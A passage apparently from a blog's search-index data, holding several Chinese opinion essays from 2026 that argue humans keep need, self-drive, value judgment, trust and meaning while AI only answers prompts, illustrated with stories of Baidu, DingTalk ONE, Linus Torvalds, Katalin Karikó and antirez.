无招卸任，接棒的是 92 年技术极客陈宇森。 ONE 不缺技术、不缺资源、不缺人力。它从一个核心问题开始崩：为谁做？解决谁的什么问题？ 想做员工的\"超级秘书”，又倾向服务管理者，两面不靠。产品方向被老板个人审美驱动，不是被 need 驱动。没有人真正对\"用户需要什么\"感到不适——所有人都在对\"明天要汇报什么\"感到焦虑。 同样剧本的还有百度。2017 年最早喊出 All in AI，比谁都早。陆奇加入，裁医疗、卖外卖、全押 Apollo 和 DuerOS——486 天后离职。战略摇摆，搜索广告占营收 80%+，AI 做得越好越颠覆自己的现金牛。Dario Amodei 在百度硅谷实验室摸到了 Scaling Law 的轮廓，出去创立了 Anthropic，做出了 Claude，ChatGPT 最强对手之一。百度自己呢？文心一言月活从 996 万跌到 517 万，被豆包的 3.15 亿、千问的 2.03 亿远远甩开。7 起了个大早，赶了个晚集。不是没技术，百度飞桨、文心大模型、萝卜快跑无人驾驶都有真东西。是有技术，没方向。搜索广告太赚钱了——那个 need 太强烈了——以至于真正的 AI 转型被它死死按住。 瑞幸知道自己的 need。王小川迷失了自己的 need。李开复重新找回了自己的 need——刷榜不重要，赚钱才重要。钉钉 ONE 和百度从头到尾没找到自己的 need——DAU、AI 原生、行业第一、All in AI，口号全对，方向全错。这些事的差别不在技术，在方向。 我见过两个程序员。一个用 AI 三天写出营销文案 SaaS，功能完美，三个月后不维护了——“帮人自动生成营销文案\"这件事，他不觉得有意义。另一个用 AI 快速搭了个给偏远地区孩子的开源教育工具，但花半年持续维护——用户量不大，bug 不少，每晚下班之后还在修。问他为什么，他说：“我小时候就没这个。” 对 AI 来说，这两个项目都是\"代码已生成、测试已通过”。但第一个会慢慢死掉，第二个会一直活着。区别在存在层：你觉得什么东西值得你的时间。 三层 need 有一个共性：不来自推理，来自体验。 AI 能分析差距，但它不对差距感到不爽。它能列出 pros and cons，但不说\"这个值得”。它能在训练数据里找到最优解，但训练数据里没有你的前半生。 ","date":"2026-05-13","objectID":"/posts/2026/05/13/need-is-all-you-need/:1:0","tags":["ai","creativity","thoughts"],"title":"Need Is All You Need","uri":"/posts/2026/05/13/need-is-all-you-need/"},{"categories":["Tech"],"content":"自驱力从哪里来 自驱力不是\"能干事”。是没人让你干，你还是干了。 自驱力是人和 AI 之间最深的鸿沟。把它拆开看。 自驱力等于两个东西的乘积：need × 不甘心。 need 给方向。不适感告诉你\"这里不对”，存在层的信念告诉你\"这个值得”。不甘心给持续性。方向有了之后，不甘心让你一直走。 反过来看钉钉 ONE 和百度。不缺牛人，不缺资源。缺的是 need——不知道为谁做、解决谁的什么问题。没有 need，不甘心无处附着。再努力也是刷 DAU、盯竞品、赶汇报。自驱力的公式里 need 是零，后面乘再多不甘心，结果还是零。OPC 浪潮里那些架构师和产品经理也是一样——技术拉满，方向空白。 李开复从\"中国最像 OpenAI\"到亲自跑客户，不是因为外部投资人施压——是他的 need 变了，不甘心还在。need 从\"做最强的模型\"变成了\"做第一个盈利的 AI 公司\"，不甘心没变：别的六小虎还在刷榜，我偏要去赚钱。同一个人，换了方向，不甘心仍在。 那个 AI 漫剧赛道的高位截瘫者每天干十小时，不是因为有人催更——是他需要经济独立，不甘心困在轮椅上让别人决定他的生活。那个欠了二十万网贷的工厂女工，辞了工作全职做 AI 剧。不是冲动，是她算过——继续打工十年还清，做 AI 剧两年还清。 这些驱动力和外部奖励是反向的。李开复放弃排位赛的时候刚好是零一万物订单暴涨的起点。女工辞职的时候外面没人看好她。高位截瘫者开始做视频的时候没有保底收入。自驱力来自内部的不甘心，外部奖励是副产品，不是原因。 现在回头看 AI。AI 的\"驱动力\"是 prompt。prompt 来了，它动。prompt 没了，它停。它不会在凌晨两点自己醒过来想\"那个缓存命中率是不是可以再提 5%\"，也不会在洗澡的时候突然觉得\"现在的前端状态管理方式太蠢了\"。它连厌倦都不会。 因为 AI 没有 need，所以它没有自驱力。它没有\"被烦透\"的身体记忆，没有\"偏不信\"的信念，没有\"我小时候没这个\"的个人史。训练数据喂不出这些东西。 ","date":"2026-05-13","objectID":"/posts/2026/05/13/need-is-all-you-need/:2:0","tags":["ai","creativity","thoughts"],"title":"Need Is All You Need","uri":"/posts/2026/05/13/need-is-all-you-need/"},{"categories":["Tech"],"content":"Need 和创新冲突吗 表面上有冲突。 盯着 need 做产品，容易做成功能清单式微创新。用户说\"要更快的马\"，你给他一匹更快的马，这不是创新。真正的创新常超出当下的需求表达——没人\"需要\" iPhone 直到它被造出来，没人\"需要\" Transformer 直到它改写了一切。 但这是把 need 理解错了。 用户说\"要更快的马\"，这是需求表达，不是 need。need 是\"更快到目的地\"。福特识别出了真正的 need，换了方案。Jobs-to-be-done 理论把这件事讲得很清楚：need 是底层驱动力，需求表达只是当前方案下的猜测。 更深一层：砍掉伪需求，只留真正重要的那个 need，本身就是一种设计创新。 Transformer 论文的命名精神是\"做减法\"。扔掉 RNN、扔掉 CNN，只留 Attention。它说：之前所有被认为\"必不可少\"的东西，其实都可以不要。敢砍，才是真激进。 对应到产品和人：你也有一堆\"看起来必不可少\"的东西——别人的期待、行业的惯例、简历上的亮点、GitHub streak。砍掉这些，还剩下的那个 need 是什么？ 这个需要勇气的减法，恰好是 AI 做不了的。因为 AI 不知道什么\"必不可少\"——对它来说，权重来自训练数据的频率，不是来自存在层的信念。 所以 need 和创新不冲突。真正冲突的是\"把 need 理解成用户嘴里说出来的需求\"。 need 在体感里、在历史上、在\"偏不信\"里——这些地方 AI 够不到。 ","date":"2026-05-13","objectID":"/posts/2026/05/13/need-is-all-you-need/:3:0","tags":["ai","creativity","thoughts"],"title":"Need Is All You Need","uri":"/posts/2026/05/13/need-is-all-you-need/"},{"categories":["Tech"],"content":"你的护城河 能力层在塌缩。 CRUD 代码、测试用例、文档翻译、部署脚本——这些\"已有解\"的事情，AI 做得比人好，而且差距还在拉大。你花三年练出的肌肉记忆，AI 一个 prompt 就覆盖了。 但能力层之上，AI 进不来。 AI 的问题不是不够聪明。它没有作为一个人活过的体验。它没有在凌晨两点的屏幕前盯着一行 bug 不发一言的同事，没有人在一条无人看好的路上闷头走十年，更没有\"我小时候就没这个\"所以偏要做的冲动。 need 是这些体验的浓缩。自驱力是 need 遇到不甘心之后的燃烧。而方向感——知道什么值得做、什么不值得做——是 need 和自驱力持续运转几十年的产物。 能力层可以外包，方向层外包不了。因为方向不是算出来的，是活出来的。 这就是 Need Is All You Need。 能力会越来越便宜，方向会越来越贵。十年后，“能写代码的人\"满大街都是，“知道要写什么、为什么值得写、愿意为此负责的人\"才是稀缺品。 那个高位截瘫的 AI 视频创作者不需要比大厂程序员更懂技术，他只需要比程序员更清楚\"观众想看什么”。那个工厂女工不需要 MBA，她只需要比咨询顾问更清楚\"我两年之内必须还清网贷”。李开复不需要比 OpenAI 更强，他只需要比所有刷榜的人更早意识到\"先活下来\"比\"先跑分\"重要。 护城河不是技能树，是 need。 ","date":"2026-05-13","objectID":"/posts/2026/05/13/need-is-all-you-need/:4:0","tags":["ai","creativity","thoughts"],"title":"Need Is All You Need","uri":"/posts/2026/05/13/need-is-all-you-need/"},{"categories":["Tech"],"content":"找到你的那个问题 回到这个系列的起点。 第一篇说 AI 有三大局限：感知现实、自驱力、责任归属。第二篇说第一个问题永远是人问的，自驱力和范式创新是人的护城河。第三篇说存在层——价值判断、信任、意义——AI 碰不到。 这三篇都在说同一件事：AI 强在答题，而非提问。 提问的能力来自 need。need 来自你对什么东西不爽、对什么方向偏不信、对什么问题觉得\"这个值得\"。 如果你还没找到那个让你不爽的问题，那是唯一值得焦虑的事。 如果你已经找到了，AI 是全世界最便宜的加速器。 因为 Attention 改写了 AI。 而 need 能改写你的护城河。 十年后，OPC 这个词可能过时了——就像当年的\"互联网思维\"一样。但 need 不会过时。技术换代、风口轮转、模型升级，只有\"知道要做什么\"这件事，永远贵。找到你的 need，AI 能帮你把它推到底。找不到，OPC 就是个更累的上班。 这个系列试图回答一个问题：AI 时代，人还剩什么。四篇写下来，答案其实不复杂——剩的是你对什么东西不爽、对什么方向偏不信、对什么问题觉得值得。能力会越来越便宜，方向会越来越贵。need 本身会过时，找 need 的能力不会。前提是你得先用起来——拥抱 AI 才不会被淘汰，找到 need 才不会被替代。 参考资料 澎湃新闻《他们想靠AI短剧换个活法》(2026)；中国青年网《宁波00后零基础杀入AI漫剧赛道》(2026) ↩︎ 刘梓瑜《丧尸清道夫》—— B站原片，36氪、澎湃新闻报道 ↩︎ 钛媒体《跟风一人公司，忙了半年，0收入》(2026) ↩︎ 瑞幸 AI 开放平台 —— open.luckincoffee.com，太平洋电脑网、经济参考报 (2026年6月) ↩︎ 李开复 / 零一万物，王小川 / 百川智能 —— OFweek《王小川和李开复，领着六小虎\"AI的迫降\"》(2026年5月)，虎嗅 ↩︎ 钉钉 ONE /《置身钉内》—— 新浪新闻、腾讯新闻 (2026年6月) ↩︎ 百度 All in AI 复盘 —— 艾瑞咨询、虎嗅 (2026) ↩︎ ","date":"2026-05-13","objectID":"/posts/2026/05/13/need-is-all-you-need/:5:0","tags":["ai","creativity","thoughts"],"title":"Need Is All You Need","uri":"/posts/2026/05/13/need-is-all-you-need/"},{"categories":["Tech"],"content":"当 pizza team 成为常态、测试团队被裁、老板害怕独立开发者，人机边界到底在哪里？前两篇讲了能力层，这篇讲存在层。","date":"2026-05-10","objectID":"/posts/2026/05/10/ai-trust-meaning/","tags":["ai","thoughts"],"title":"AI 能做事，不能扛事","uri":"/posts/2026/05/10/ai-trust-meaning/"},{"categories":["Tech"],"content":"凌晨三点，屏幕是唯一的光源。搞砸、扛住、被原谅——AI 没经历过这些。 前两篇发出来后，一个读者给我私信留言，提了几个很实在的问题。 他公司的测试团队因为质量不达预期被解散了，开发现在要背测试质量和 bug 全责。老板私下说，他的管理经验正在被 AI 时代冲击，想大幅缩减人数。他以前从不担心独立开发者，而现在很担心，因为一个人加 AI 就能复刻出一样甚至更优秀的产品。 他还问：既然你用 AI 顺手把 PM 和测试的活儿全干了，那放大一点，将来大部分中小公司是不是只需要几个人，借助 AI 把产品、测试、运维、安全、基础设施全扛起来？ 这几个问题指向同一个盲区。前两篇讲了 AI 在能力层的缺口——感知现实有限、没有自驱力、做不到范式突破。这些是 AI\"能不能\"的问题，也是能力层里人仍然有优势的地方。 但读者问的不是 AI 能不能，而是人还剩什么。 这是我的答案：AI 替代的是能力层里\"已有解\"的部分。但能力层之上，还有一层东西，AI 碰不到。我管它叫存在层：价值判断、信任、意义。 ","date":"2026-05-10","objectID":"/posts/2026/05/10/ai-trust-meaning/:0:0","tags":["ai","thoughts"],"title":"AI 能做事，不能扛事","uri":"/posts/2026/05/10/ai-trust-meaning/"},{"categories":["Tech"],"content":"两层地图 先说清楚这个框架。 能力层：推理、编码、执行、解决问题，是\"怎么做\"和\"能不能\"。AI 在这层全面铺开，大部分事做得比人好。前两篇给 AI 画的三条线，即感知现实、自驱力、创新是这层里 AI 的三个缺口，也是人在这层最后的优势。 存在层：价值判断、信任、意义。即\"值不值得做\"、“谁来做”、“为什么而做”、“要不要做”。它不是技术问题，是你作为一个人，在组织、社会、文化里的位置问题。AI 在这层没有存在感，并不是因为它不够聪明，而是因为它没有作为\"人\"参与社会的资格。 往下说三个点。 能力层 — 「怎么做」「能不能」 推理 · 编码 · 执行 · 解决问题 AI 全面铺开，大部分事做得比人好 CRUD · 代码生成 · 测试用例 · 翻译 · 文档 AI 的三个缺口 感知现实 · 自驱力 · 范式创新 AI 替代「已有解」 人的优势 — 前两篇画的三条线 存在层 — 「值不值得做」「谁来做」「为什么而做」 价值 · 信任 · 意义 价值判断 性能 or 可维护？上线 or 打磨？ AI 没有「我觉得」 信任 搞砸 → 扛住 → 被原谅 AI 没搞砸过，没扛过 意义 「这值得做吗？」 AI 不问为什么而做 AI 只能在能力层做题，进不了存在层做人 ","date":"2026-05-10","objectID":"/posts/2026/05/10/ai-trust-meaning/:1:0","tags":["ai","thoughts"],"title":"AI 能做事，不能扛事","uri":"/posts/2026/05/10/ai-trust-meaning/"},{"categories":["Tech"],"content":"价值判断：AI 没有\"我觉得\" 回到那个读者的问题。pizza team 在技术上完全可行，但 pizza team 做不了的第一个东西是：做选择。 你做一个产品，每天遇到的选择不是技术问题，是价值观问题： 性能优先还是可维护性优先？ 快速上线还是要打磨到满意？ 用户数据可以卖，还是不卖？ 出了事故是透明披露还是悄悄修掉？ 这些不是 prompt 能描述清楚的问题。不是因为 AI 不够聪明，而是因为这些问题没有标准答案。它们的答案取决于你相信什么。 AI 能给你列出每个选项的 pros and cons，但它不能替你选。选择的那一刻，你投射出去的是你的价值观，不是你的推理能力。 就像前两篇反复出镜的 Karikó。数据站在对面，她选\"继续\"，因为她相信原理是对的。这个\"我相信\"，AI 没有。 再举一个近的例子。2026 年 5 月，antirez 发布 ds4，README 里特意补了一句：“如果你不接受 AI 辅助代码开发，这个软件不适合你。“这不是技术声明，是价值观声明。他在说：我选择这个开发方式，你如果不同意，可以不用。用 AI 写了 1500 行 C 代码发出来，还是选择手写，这本身是一个价值判断，不是一个能力问题。 小到一行代码的风格选择，大到职业生涯的方向切换，价值的权重永远在，AI 永远不背这个权重。 ","date":"2026-05-10","objectID":"/posts/2026/05/10/ai-trust-meaning/:2:0","tags":["ai","thoughts"],"title":"AI 能做事，不能扛事","uri":"/posts/2026/05/10/ai-trust-meaning/"},{"categories":["Tech"],"content":"信任：人信人，不是信概率 pizza team 做不了的第二个东西是：让甲方签字。 你知道一个创业公司怎么拿下第一个大客户吗？不是技术方案写得比大厂好。是那个 CTO 飞了三趟北京，在客户会议室里被问了两个小时的刁钻问题，走的时候对方说了一句话：“你们团队人不多，但我信得过你。” 信任是人对人的。它不是对能力的评估——大厂能力更强。它是一种对\"这个人搞砸过，然后扛住了”、“这个人说能做到，就是能做到”、“这个人上次出事故的时候，没有甩锅\"的积累。 你签一个 SaaS 合同，服务可用性 SLA 写的是 99.9%。这个东西谁来赔付？AI 吗？是签合同的那个法人、那个公司、那个 CTO。对方买的是你的服务能力，但签合同的时候，他买的是你出事了会兜底。 这就是为什么 SOC 2、等保、合规审计这些东西审的都是人、流程、制度，不是 prompt 质量。不是技术不够先进，是法律体系不给非人主体留位置。 再往下说一层。团队内部的信任也是人对人的。我最信任的同事不是代码写得最好的那个，是上次线上炸了，凌晨三点我们俩一起盯着屏幕、一句废话没有、闷头排查了两个半小时的那个。这种信任来自脆弱性的共享——我们共同经历过糟糕的时刻，你知道对方在那时候是什么样子。 AI 没有\"搞砸过\"的概念。它不能跟你一起共情一个凌晨三点的线上事故。它不能犯过错后承担后果。而恰好是\"搞砸”、“扛住”、“被原谅\"构成了人与人之间最深的信任纽带。 深夜的办公楼。AI 不会抬头看窗外。 所以，pizza team 能做出一个好产品，但签不下一个需要 SLA 的合同。不是因为产品不够好，是对方不知道该找谁负责。 ","date":"2026-05-10","objectID":"/posts/2026/05/10/ai-trust-meaning/:3:0","tags":["ai","thoughts"],"title":"AI 能做事，不能扛事","uri":"/posts/2026/05/10/ai-trust-meaning/"},{"categories":["Tech"],"content":"意义：AI 不说\"为什么” 最后一个点，存在层最深的地方。 AI 处理符号，人不只处理符号。人问：“这值得做吗？” 这是一个 AI 永远问不出来的问题。不是因为难度高，是因为\"值得\"不是一个可计算的量。它不来自数据分布，来自你对自己生命的感受。 一个程序员用 AI 三天写出了一个小 SaaS。功能完美，性能好，部署顺利。但三个月后他不维护了。不是因为技术上遇到了什么困难，而是因为他发现\"帮人自动生成营销文案\"这件事，他不觉得有意义。 另一个程序员，用 AI 花半年做了一个开源的教育工具，给偏远地区的孩子用。用户量不大，bug 还不少，但他每天晚上下班之后还在修。问他为什么，他说：“我小时候就没这个。” 这两个例子，AI 看不出区别。对 AI 来说，它们都是\"代码已生成、测试已通过”。但第一个人会慢慢放弃，第二个人会一直做下去。区别不在能力层，而在意义层：你觉得什么东西值得你的时间。 自驱力的燃料其实是意义感。Karikó 相信 mRNA 值得做 40 年，Linus 觉得有个自己的操作系统是好玩的，antirez 觉得推理引擎不够快就得自己造一个——这些都不是功利计算。自驱力让你往前走，意义感告诉你值得往哪走。没有意义感撑着的自驱力，烧不了 40 年。 而\"我觉得这事值\"，这种话 AI 说不出来。 回到前面提到的 Linus。在北美开源峰会上有人问他怎么看\"我们 99% 的代码都是 AI 写的\"时，他说了一句更狠的：“我几乎可以肯定，这些人 100% 的代码都是编译器写的，但他们从来不会承认这一点。” 不是抬杠。编译器确实写了你每一行 C 代码对应的机器指令，但你不会说代码是编译器写的，因为你知道做什么是你决定的。AI 替代的不是\"做什么\"，是\"怎么做\"。做编译器的替代了\"怎么翻译\"，做 AI 的替代了\"怎么实现\"。但\"做什么\"、“值不值得做”——Linus 想造一个操作系统、Karikó 想验证 mRNA 原理、antirez 想写出更快的推理引擎——这些东西从来没有被替代过，从来没有被工具写过。 你的护城河不在你能写多少行代码、能管多少台服务器、能覆盖多少种测试用例。AI 在这些事情上迟早超过你。 你的护城河是：你知道什么东西值得做，你敢为它负责，你愿意跟别人一起扛，只是因为你扛过。 测试团队被裁了，开发背上质量全责，短期看似降本，长期看是风险转嫁，只是延缓，治标不治本。因为质量不是测出来的，是被在乎出来的。你在乎，你就会测。你不在乎，把 test case 拷给你你也不会认真跑。 pizza team 能做出来。但做出来之后的事，比如谁签字、谁兜底、谁扛住凌晨三点的线上事故，答案不是\"几个人加 AI\"。答案是一个又一个具体的人，有名字、有脸、有自己搞砸过又被原谅的经历。 所以，不必恐惧。去问第一个问题，去做那个在乎的人。 ","date":"2026-05-10","objectID":"/posts/2026/05/10/ai-trust-meaning/:4:0","tags":["ai","thoughts"],"title":"AI 能做事，不能扛事","uri":"/posts/2026/05/10/ai-trust-meaning/"},{"categories":["Tech"],"content":"从 Linux 到 mRNA，为什么范式突破永远始于人的不满。自驱力决定方向，创新来自范式突破，责任来自承担后果——这些东西 AI 算得出来，但不会在乎。","date":"2026-05-09","objectID":"/posts/2026/05/09/ai-wont-ask-first-question/","tags":["ai","creativity","thoughts"],"title":"AI 不会问第一个问题","uri":"/posts/2026/05/09/ai-wont-ask-first-question/"},{"categories":["Tech"],"content":"假设现在是凌晨两点。你盯着屏幕上 AI 刚生成的几百行代码，功能跑通了，测试也绿了，但你心里清楚一件事——这段代码之所以存在，是因为你问了一个问题，决定跑它，并且承担它出错的后果。AI 不需要为这段代码负责，你才需要。 AI 没有在凌晨两点自己醒过来想\"那个缓存命中率是不是可以再提 5%\"。它不会在洗澡的时候突然觉得\"现在的前端状态管理方式太蠢了\"。它更不会在被降职 20 年后仍然相信一段没人看好的 mRNA 序列能改变医学。 第一个问题，永远是人问的。 这就是 AI 时代容易被忽略的真相：AI 越来越强，但它强在答题，不在提问。而提问的能力，来自对现状的不满、对某个方向的好奇，以及在没有外部奖励的情况下持续深钻的意愿，这三样，恰好是自驱力和创新的起点。 ","date":"2026-05-09","objectID":"/posts/2026/05/09/ai-wont-ask-first-question/:0:0","tags":["ai","creativity","thoughts"],"title":"AI 不会问第一个问题","uri":"/posts/2026/05/09/ai-wont-ask-first-question/"},{"categories":["Tech"],"content":"没有自驱力，就没有第一个问题 自驱力是什么？是\"能干事\"？不对，应该是\"没人让你干你还是干了\"。 1991 年，赫尔辛基大学一个 21 岁的学生买了一台 386 电脑。他本来只是想学学 80386 的保护模式，顺便写个终端模拟器来拨号上学校的 Unix 服务器。后来他觉得 Minix 不太好用，于是开始给自己的终端程序加文件系统、加任务切换、加设备驱动。 这个人叫 Linus Torvalds。他在 1991 年 8 月 25 日发了一条如今刻在互联网历史上的 Usenet 帖子： “I’m doing a (free) operating system (just a hobby, won’t be big and professional like gnu).” 一个\"just a hobby\"的项目，没有人给他提需求，没有人付他工资，没有 PM 排期，纯粹是自己想做一个东西。今天全球 90% 以上的云计算负载跑在这个 hobby project 上。 如果你打开 Linux 内核的 git 仓库，git log --reverse 第一条 commit 还在那里，你可以亲眼看到那个起点。 1991年8月25日，comp.os.minix 新闻组。 这就是自驱力的本质：它不从外部指令来，不从奖励机制来。它来自人对现状的一种内在不适感：“这个东西应该能更好”、“这个方案我不满意”、“我偏要试试另一种做法”。 而 AI 恰好反过来。它的全部行动来自外部 prompt。你输入一句，它就输出一段。没有输入，则停在原地。它不会对任何东西感到不适，因为你没有给它\"令人不适\"的训练数据。它也不会在代码审查时皱眉头，更不会在凌晨醒来觉得那个架构选择有问题。厌倦都不会。 所以，AI 不会问第一个问题。第一个问题永远来自一个对现状不满的人。 ","date":"2026-05-09","objectID":"/posts/2026/05/09/ai-wont-ask-first-question/:1:0","tags":["ai","creativity","thoughts"],"title":"AI 不会问第一个问题","uri":"/posts/2026/05/09/ai-wont-ask-first-question/"},{"categories":["Tech"],"content":"有了问题之后：两种创新 有了第一个问题，下一步是找答案。这一步上，人和 AI 的分界线更微妙。 AI 能做一种创新：组合式创新。即把距离很远的知识点连接起来，如网络协议和超文本、密码学和博弈论、编译器理论和终端交互。这种跨领域的远距离连接，AI 做起来比人快得多、广得多。因为它的训练数据覆盖了几十个领域，而一个人的脑子里通常装不下那么多。 但 AI 做不了另一种创新：范式创新。推翻前提，重新定义问题本身，而不仅仅是把已有的东西拼起来。 2011 年的 Facebook，广告团队正在被复杂的 UI 状态管理折磨。DOM 操作散落在各个回调里，数据流和 UI 状态难以同步，bug 层出不穷。一个叫 Jordan Walke 的工程师实在受不了了，他提出一个在当时看来反直觉的想法：与其手动更新 DOM，不如每次把整个 UI 重新渲染一遍，然后在虚拟 DOM 里 diff 出最小变更。 这个想法不符合任何当时的\"最佳实践\"。DOM 操作被认为是昂贵的，重新渲染整个页面是荒谬的。Walke 的不适感并非来源于某个具体的 bug，而是\"我们管理 UI 状态的整个范式\"本身。这个直觉推动他跳出了现有框架。 React 最初的 commit 还在 GitHub 上，JSConf 2013 的演讲视频还在 YouTube 上。你可以亲眼看到范式的起点是一个人对\"这样做不对头\"的直觉，而不是一份训练数据。 更早的案例更干净：1989 年，CERN 的软件顾问 Tim Berners-Lee 写了一份提案《Information Management: A Proposal》。超文本早就有了，互联网也早已存在，但没有人把它们拼成\"一个可以在任意文档间跳转的全球信息系统\"。他的老板在提案封面上批了一行字：“Vague but exciting.” 这份提案至今还在 W3C 的网站上，页面标题就是这句话。 Information Management: A Proposal——万维网的起点。Vague but exciting. 互联网改变了一切，但它的起点不是技术突破，是一个人对\"科学家们找不到彼此的文档\"这件事的不爽。 范式创新有一个共同特征：它来自对现有框架本身的不满，而不是对已有方案之间排列组合的不满足。这种不适感是潜意识的，你能感觉到什么东西不对劲，但说不太清楚哪里不对劲。它不是一个 prompt 能描述清楚的。 而这，恰好是 AI 的盲区。LLM 的本质是在训练数据分布里做插值。React 不存在于 2011 年的任何代码库里，万维网也不在 1989 年的任何论文里，比特币更不在 2008 年的任何金融协议里。它们并非已有知识的组合，而是已有前提的否定。插值引擎终究否定不了前提。 ","date":"2026-05-09","objectID":"/posts/2026/05/09/ai-wont-ask-first-question/:2:0","tags":["ai","creativity","thoughts"],"title":"AI 不会问第一个问题","uri":"/posts/2026/05/09/ai-wont-ask-first-question/"},{"categories":["Tech"],"content":"四十年没人鼓掌，为什么还在做？ 最能验证\"自驱力 × 创新\"这个框架的例子，不在编程领域。 Katalin Karikó，2023 年诺贝尔生理学或医学奖得主。她在 1970 年代末开始研究 mRNA 的治疗潜力。当时科学界的主流共识是：mRNA 太不稳定，免疫原性太强，不可能成药。 她的整个职业生涯都在和这个共识对抗。在宾夕法尼亚大学她被降职，从 tenure track 降到 adjunct。经费申请被拒了一遍又一遍。没有任何一个同行觉得这条路能走通。她后来在自传《Breaking Through》里回忆，有人当面告诉她\"你的研究毫无价值\"。 但她没有停下来。不是因为她知道会成功，相反她并不知道。她继续做的原因很简单：她相信 mRNA 的原理是对的，只是还没找到正确的技术路径。最终她和 Drew Weissman 发现了关键：用假尿苷修饰核苷酸可以绕过免疫识别，这个突破让 mRNA 疫苗成为可能，在新冠疫情中挽救了数百万人的生命。 从 1978 年到 2023 年拿诺贝尔奖，十年又十年，将近半个世纪。没有外部奖励信号，没有行业认可，连最基本的经费都没有。这种级别的坚持，靠的是什么？ 不是\"毅力\"这种空泛的品质。靠的是一个人对一个问题持续 40 年的\"不甘心\"，我偏不信这条路走不通。 现在想想 AI。要模拟这种坚持，你需要什么？你需要在没有任何正面训练信号的 40 年里持续认为\"这个方向是对的\"。而 LLM 的输出概率分布，会在第一个 10 年的\"缺乏正面数据\"之后就把这个方向的概率压到接近于零。 AI 不需要面对 Karikó 面对的问题：全世界都告诉你你是错的，你还要不要继续？但这个问题的答案，定义了所有真正重要的创新。 ","date":"2026-05-09","objectID":"/posts/2026/05/09/ai-wont-ask-first-question/:3:0","tags":["ai","creativity","thoughts"],"title":"AI 不会问第一个问题","uri":"/posts/2026/05/09/ai-wont-ask-first-question/"},{"categories":["Tech"],"content":"自驱力，然后呢？ 自驱力不是鸡汤。不是说\"你要有热情\"你就自然能创新了。自驱力的实际价值在于：它决定了你在哪个层面上和 AI 协作。 如果你停留在\"AI 帮我实现需求\"的层面，那么你的价值也只是翻译：把产品需求翻译成 prompt。这个活，产品经理也能干。 但如果你从自驱力出发，那么你自己就是那个\"对什么东西不舒服\"的人，你和 AI 的关系也就反过来了。不是 AI 帮你做东西，是你用 AI 来加速你已经在做的东西。 如上一篇讲过的 Hunter Bown，音乐家出身，凭一句\"想在终端里和 AI 对话\"的念头，用 AI 辅助做出了 DeepSeek-TUI，GitHub 近 5000 star，他的出发点纯粹是：我自己需要这个东西。 另一个更早的例子：2009 年，意大利程序员 Salvatore Sanfilippo（网名 antirez）在做一个实时网页分析系统。现有的 MySQL 太慢，他试着用内存数据结构来缓存页面，发现效果出奇地好。于是他在一个周末把那段代码抽出来，起了个名字叫 Redis（REmote DIctionary Server）。第一条 commit 在 GitHub 上可查，Hacker News 上的首发帖标题是\"Redis, a fast key-value store\"。那时候没人让他造一个数据库，MySQL、PostgreSQL 活得好好的。他只是被自己的实际需求逼到了墙角：现有工具不对路，那就自己造一个。 Redis 后来成为了全球最流行的内存数据库之一，改变了整整一代人对\"数据库应该怎么存数据\"的认知。它的起点不是一个商业计划，是一个人对现状的直接不满，是\"这个东西不够快，我得想个别的办法\"。 更妙的是 2026 年 5 月 7 日，antirez 又干了一次。DeepSeek V4 Flash 发布后，现有的推理引擎跑不出他想要的性能，他索性自己写了一个，那就是ds4，1500 行 C 代码，专为 DeepSeek V4 Flash 量身定制的推理引擎，理念就一句：“One Model, One Engine”。项目上线 48 小时即获 2600+ star，一键接入 Claude Code 等编程 Agent。Redis 是 2009 年，ds4 是 2026 年，整整17 年过去了，同一个人，同一种模式：没有人让他干这件事，他只是对\"跑得不够快\"不爽。自驱力不是一次性的灵光，它是一种持久的人格配置，跨域、跨时代、跨技术栈反复验证。 antirez/ds4——One Model, One Engine。2026年5月7日上线，48小时2600+ star。 DHH 创建 Rails 之前，也只是 Basecamp 里一个被复杂 Java 框架搞烦了的程序员。他不是想\"发明一个框架\"，他是想\"让 web 开发少写点配置\"。Rails 最初的 commit message 平淡无奇，但改变了整整一代 web 开发的范式：不是因为他想改变世界，是因为他自己先被现在的做法烦透了。 这些人的路径是一样的：自驱力引发第一个问题，持续深钻产生洞察，洞察导致范式级创新。 他们可能不是\"最有创造力的人\"，但他们肯定是\"最有自驱力的人\"。创造只是自驱力推到底之后的副产品。 ","date":"2026-05-09","objectID":"/posts/2026/05/09/ai-wont-ask-first-question/:4:0","tags":["ai","creativity","thoughts"],"title":"AI 不会问第一个问题","uri":"/posts/2026/05/09/ai-wont-ask-first-question/"},{"categories":["Tech"],"content":"你的护城河 回到一开始的问题：AI 时代，人还剩什么？ 答案不在\"做什么\"，在\"为什么做\"和\"什么值得做\"。 AI 能在已有知识的分布里给你最优解，但它不对结果关心。它能把组合式创新做到极致，但它没资格决定哪个方案上线、哪个项目砍掉、谁的隐私数据能不能用。它能替代一个执行者，但替代不了一个愿意承担后果的人。 十年后，程序员这个职业不会消失，但\"程序员\"这个词的含义会变。它不再意味着\"能写代码的人\"，因为所有人都能写了。它意味着\"知道自己想造什么、为什么值得造、并且愿意为此负责的人\"。 自驱力是你最值钱的资产。不是你的 GitHub streak，不是你的 LeetCode 刷题量，不是你用了几种语言。是你有没有一个让你凌晨两点睡不着的问题。 有人会问：AI 以后真的不能提问吗？技术上，挂个定时任务、加个好奇心奖励机制，AI 迟早能自己发问。但问题不在能不能，在问了之后——谁能对答案负责？ AI 能算出十个优化的投入产出比，能预测砍哪个功能用户流失最少。但它算完了不关心。亏不亏、用户走不走、数据泄不泄漏——算力拉满，它不会因此睡不着。不是能力问题，是\"关我屁事\"的问题。 所以 AI 不会问第一个问题。并非技术上做不到，而是根本没资格——问一个问题意味着你想要一个答案，想要意味着你对结果有期待，期待意味着你愿意为结果负责。有的人也不会问问题，但 AI 不需要负责，人才需要。 而第一个问题，决定了后面的所有答案。也决定了谁来为答案负责。 你最近一次对什么东西感到\"这不对，应该有更好的方式\"是什么时候？如果你有一个让你不爽的问题，AI 是全世界最便宜的加速器。如果你还没有问第一个问题，那才是真正应该焦虑的事。 ","date":"2026-05-09","objectID":"/posts/2026/05/09/ai-wont-ask-first-question/:5:0","tags":["ai","creativity","thoughts"],"title":"AI 不会问第一个问题","uri":"/posts/2026/05/09/ai-wont-ask-first-question/"},{"categories":["Tech"],"content":"拆解两层省钱机制——插件砍 token 量（省 97%），Prompt Caching 砍单价（多省 46%）。深入 DeepSeek V4 Pro 的三池异构 KV Cache 架构和 ShadowRadix 前缀复用系统，解析 120 倍缓存折扣的底层原理。","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 